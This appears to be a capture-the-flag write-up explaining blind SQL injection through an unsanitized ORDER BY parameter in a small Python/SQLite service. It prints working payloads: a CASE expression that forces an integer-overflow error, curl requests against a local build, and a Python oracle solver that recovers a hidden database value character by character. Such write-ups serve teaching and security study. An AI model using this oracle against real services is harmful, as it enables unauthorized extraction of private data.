Doctor Bye Bye

Task description

Dr. Bye Bye has retired from St. Codd’s Hospital. The hospital insists that retired records can never be displayed. Can you recover Dr. Bye Bye’s private farewell note anyway?

Setup

The handout is a single-file Python service (src/app.py) built on http.server with a SQLite backend. The one interesting route is GET /api/on-call, which returns the current on-call doctor as JSON. The database seeds five listed doctors and one hidden row:

INSERT INTO doctors VALUES
    (10, 'ada-pulse', 'Dr. Ada Pulse', 'Cardiology', 'C-101', 1, NULL),
    (30, 'max-well', 'Dr. Max Well', 'Radiology', 'R-204', 1, NULL),
    ...
connection.execute(
    "INSERT INTO doctors VALUES (?, ?, ?, ?, ?, ?, ?)",
    (404, "doctor-bye-bye", "Dr. Bye Bye", "Retired", "-", 0, flag),
)

Dr. Bye Bye is row id=404 with listed=0, and the flag sits in that row’s farewell_note column. The hospital name is a hint: St. Codd nods to E. F. Codd, who defined the relational model, which points at a SQL bug.

The injection point

select_on_call interpolates the sort query parameter straight into ORDER BY:

def select_on_call(order_expression):
    query = f"""
        SELECT name, specialty, room
        FROM doctors
        WHERE listed = 1
        ORDER BY {order_expression}
        LIMIT 1
    """

and the handler reads that parameter directly from the URL:

order_expression = parameters.get("sort", ["name"])[0]

This is ORDER BY injection. The clause takes a raw expression rather than a bound value, so it accepts anything that evaluates to a sortable scalar, including a subquery. WHERE listed = 1 keeps the hidden doctor out of the returned rows, but it does nothing to stop a subquery inside ORDER BY from reading farewell_note off id=404. That row is still sitting in the same table.

Two things shape the attack, both in app.py. Every database failure is collapsed into a generic 400 with no detail:

try:
    doctor = select_on_call(order_expression)
except (sqlite3.Error, LookupError):
    # Query errors deliberately do not expose database details.
    self.send_json(400, {"error": "The on-call board could not be updated."})
    return
self.send_json(200, {"doctor": doctor})

and the input is capped, against a 2048-byte SQL length limit and a per-query VM budget set on the connection:

if not order_expression or len(order_expression) > 600:
    self.send_json(400, {"error": "Invalid schedule preference."})

None of that stops extraction. It only means the oracle has to be a plain success/failure signal rather than an error message.

Blind SQL injection, if you have only seen the union-based kind

Union-based injection is the textbook case: you append UNION SELECT secret, ... and the secret comes back in the HTTP response, because the injection point is in the column list a SELECT returns. That needs the query’s output to reach you, and it needs a spot in the statement where a UNION fits.

Here neither holds. The injection is in ORDER BY, at the end of the statement, where a UNION has no natural place, and WHERE listed = 1 guarantees the secret row is never among the rows returned. So you cannot read the value, but you can still ask yes/no questions about it.

Blind injection means recovering data through the difference between two observable responses rather than reading it directly. If you can make the server behave one way when a condition about the secret is true and another way when it is false, that difference is one bit. “Is the first character an F?” “Is its code point at most 79?” A few dozen such questions pin down each character. The response does not have to contain anything secret; it only has to differ. Here the two states are HTTP 200 (a doctor comes back) and HTTP 400 (the generic error), and the trick below is forcing that split on demand.

Building the oracle

SQLite integers are signed 64-bit, and -9223372036854775808 is the most negative value. Its absolute value does not fit back into a signed 64-bit integer, so ABS(-9223372036854775808) raises an integer overflow. Wrapping it in a CASE turns that error into a boolean switch:

CASE WHEN (<condition>) THEN ABS(-9223372036854775808) ELSE name END

When the condition is true, evaluating that branch throws and the server answers with its generic 400. When it is false, the query sorts by name and returns 200 with a doctor. SQLite’s 1/0 evaluates to NULL rather than throwing, so the usual division-based oracle does not work here, which is presumably why the task nudges toward the overflow.

The condition reads the hidden note through a subquery that the WHERE listed = 1 filter has no effect on. Asking whether the note starts with F:

CASE WHEN (SELECT substr(farewell_note,1,1) FROM doctors WHERE id=404)='F'
     THEN ABS(-9223372036854775808) ELSE name END

As a full request against a local build:

B="http://127.0.0.1:8080/api/on-call"
curl -s --get "$B" --data-urlencode "sort=CASE WHEN 1=1 THEN ABS(-9223372036854775808) ELSE name END"
# -> {"error":"The on-call board could not be updated."}   (true branch errors)
curl -s --get "$B" --data-urlencode "sort=CASE WHEN 1=0 THEN ABS(-9223372036854775808) ELSE name END"
# -> {"doctor":{"name":"Dr. Ada Pulse",...}}               (false branch returns a row)

Extracting the flag

The solver binary-searches the note’s length with length(...), then each character’s code point with unicode(substr(...)), calling the same oracle every time:

def oracle(condition):
    expr = f"CASE WHEN ({condition}) THEN ABS(-9223372036854775808) ELSE name END"
    url = ENDPOINT + "?" + urllib.parse.urlencode({"sort": expr})
    try:
        with session.open(url, timeout=15) as response:
            response.read()
            return False          # 200 -> condition false
    except urllib.error.HTTPError as exc:
        if exc.code == 400:
            return True           # injected error -> condition true
        raise

Every call reuses the same subquery, (SELECT farewell_note FROM doctors WHERE id=404), wrapped in whichever comparison the current step needs. The length search doubles an upper bound and then binary-searches down; the character search binary-searches the printable ASCII range 32 to 126 for each position, which the flag format guarantees covers every character.

Reproducing it offline

I rebuilt the exact schema and seed rows from app.py in an in-memory SQLite database with a placeholder flag, then drove the oracle and the solver’s binary-search logic directly against it. This reproduces the whole oracle without the live service:

ABS(INT64_MIN) -> sqlite3.Error: integer overflow
1/0 -> (None,)                       # NULL, no error: the division trick would not work
oracle(1=1) -> True                  # true condition errors
oracle(1=0) -> False                 # false condition returns a row
first char == 'F'? -> True
recovered length=31 value='FortID{d0ct0r_0r4cl3_t3st_1234}'   # placeholder, matches exactly

The overflow raises where 1/0 returns NULL, the CASE oracle flips cleanly between the two states, and the length-then-character binary search rebuilds the planted value byte for byte. Against the live instance the same solver reported a length of 36 and returned the flag in the frontmatter, and the primitive reproduces exactly offline.